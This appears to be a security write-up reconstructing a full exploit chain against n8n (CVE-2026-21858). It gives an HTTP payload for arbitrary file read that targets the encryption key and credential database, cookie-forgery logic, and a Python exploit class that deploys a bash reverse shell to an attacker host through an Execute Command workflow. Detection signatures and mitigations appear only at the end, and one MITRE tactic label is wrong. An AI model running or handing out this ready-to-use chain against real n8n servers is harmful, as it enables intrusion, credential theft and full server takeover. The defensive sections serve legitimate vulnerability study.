
Technical audit and reproduction of CVE-2026-21858, an n8n RCE chain exploiting Content-Type confusion for arbitrary file read, session forgery, and command execution.
= doi.org/10.5281/zenodo.18278825
= orcid.org/0009-0007-7728-256X
[RECONSTRUCTION_ANALYSIS] CVE-2026-21858: Ni8mare - n8n RCE Full Chain Exploit
This technical audit is based on the findings of Dor Attias from Cyera Research Labs (November 9, 2025) and includes ready-to-use reproduction steps for REmnux/Kali Linux laboratory environments.
Key Information: Target: n8n versions >=1.65.0 to <1.121.0.
Attack Vector: Network (HTTP/HTTPS).
Complexity: Low.
Impact: Total (Confidentiality, Integrity, and Availability).
EPSS Score: 0.97 (Very high exploitation probability).
Normal Flow: A multipart/form-data request is processed by parseFormData() (utilizing the Formidable parser), which correctly populates the req.body.files object.
Vulnerable Condition: If an attacker submits a request with Content-Type: application/json, the middleware invokes parseBody(). The submitted JSON is then parsed directly into req.body, which fatally overrides the req.body.files property without further validation.
Exploitation: The formWebhook -> prepareFormReturnItem() function blindly calls copyBinaryFile(req.body.files[0].filepath), trusting the file path provided in the JSON, thereby copying arbitrary local files into accessible workflow storage.
Prerequisites: Docker & Docker Compose.
Python 3 with requests, pyjwt, and cryptography libraries.
Netcat (nc) or Burp Suite for shell capture.
Deployment Steps: Run Vulnerable Instance:
Bash
docker run -d
--name ni8mare-vuln
-p 5678:5678
-v n8n_data:/home/node/.n8n
n8nio/n8n:1.65.0
Admin Initialization: Access http://localhost:5678, create an admin account (e.g., [email protected] / Password123!).
Workflow Configuration: Create a new workflow with a "Form Trigger" node that includes a "File Upload" field. Activate the workflow and note the "Test URL".
HTTP Request Payload:
HTTP
POST /webhook-test/{workflow-id}/form-endpoint HTTP/1.1 Host: target:5678 Content-Type: application/json User-Agent: Mozilla/5.0
[{"filepath":"/etc/passwd","mimetype":"text/plain","filename":"fake.txt"}] Strategic Targets:
/home/node/.n8n/config: To steal the N8N_ENCRYPTION_KEY.
/home/node/.n8n/database.sqlite: To extract user credential hashes.
Phase 2: Authentication Bypass (Session Forgery) Once the encryption key and user data are obtained, the n8n-auth cookie can be forged.
Session Forgery Logic:
Payload: {"userId":1, "hash": sha256(email + password).slice(0,10)}.
Signing: Signed using the N8N_ENCRYPTION_KEY with the HS256 algorithm.
Result: The generated cookie allows full administrative access without going through the normal login process.
Phase 3: Remote Code Execution (RCE) As an admin (via the forged cookie), we can automate the creation of a new workflow containing an "Execute Command" node.
Command Payload: bash -c "bash -i >& /dev/tcp/{attacker_ip}/4444 0>&1"
Python
#!/usr/bin/env python3
import requests, json, hashlib, jwt, time
class Ni8mareExploit: def init(self, target, webhook_id): self.target = target.rstrip('/') self.webhook_url = f"{self.target}/webhook-test/{webhook_id}/form-endpoint" self.session = requests.Session()
def read_file(self, path, name):
"""Phase 1: Arbitrary File Read via Content-Type Confusion"""
print(f"[*] Attempting to read {path}...")
payload = [{"filepath": path, "mimetype": "text/plain", "filename": name}]
headers = {'Content-Type': 'application/json'}
r = self.session.post(self.webhook_url, json=payload, headers=headers)
return r.status_code == 200
def forge_session(self, email, password, key):
"""Phase 2: Cookie Forgery"""
hash_src = email + password
h = hashlib.sha256(hash_src.encode()).hexdigest()[:10]
payload = {'userId': 1, 'hash': h}
cookie = jwt.encode(payload, key, algorithm='HS256')
self.session.cookies.set('n8n-auth', cookie)
print(f"[+] Forged Cookie: n8n-auth={cookie}")
def trigger_rce(self, lhost, lport):
"""Phase 3: RCE via Workflow Automation"""
cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
wf_payload = {
"name": "Ni8mare RCE",
"nodes": [{"parameters": {"command": cmd}, "type": "n8n-nodes-base.executeCommand"}],
"active": True
}
r = self.session.post(f"{self.target}/rest/workflows", json=wf_payload)
print("[!] RCE Workflow Deployed. Check your listener!")
Network Indicators (IDS/IPS): Suricata Signature: alert http $EXTERNAL_NET any -> $HOME_NET 5678 (msg:"Ni8mare Exploit Attempt"; content:"application/json"; content:"filepath"; sid:1000001;)
Anomaly: POST requests with Content-Type: application/json sent to the /webhook/*/form-endpoint endpoint.
Host-Based Forensics: Filesystem: Search for suspicious text files in the ~/.n8n/files/ directory containing system data (e.g., /etc/passwd).
Logs: Audit n8n logs for prepareFormReturnItem function activity without accompanying multipart data.
Docker Inspect: Verify that the image version is below 1.121.0.
Workaround: If patching is not feasible, restrict access to the /webhook endpoint using a Web Application Firewall (WAF) to block suspicious JSON requests.
Network Segmentation: Isolate n8n instances from sensitive internal networks to prevent lateral movement in the event of an intrusion.
Execution: T1059 (Command and Scripting Interpreter)
Persistence: T1098 (Account Manipulation via Session Forgery)
Exfiltration: T1083 (File and Directory Discovery)
DISCLAIMER: This analysis is provided exclusively for educational purposes, security auditing, and professional cyber defense under the instructions of Master SASTRA_ADI_WIGUNA. Any misuse of this information for illegal activities is the absolute responsibility of the operator. Production patching is mandatory.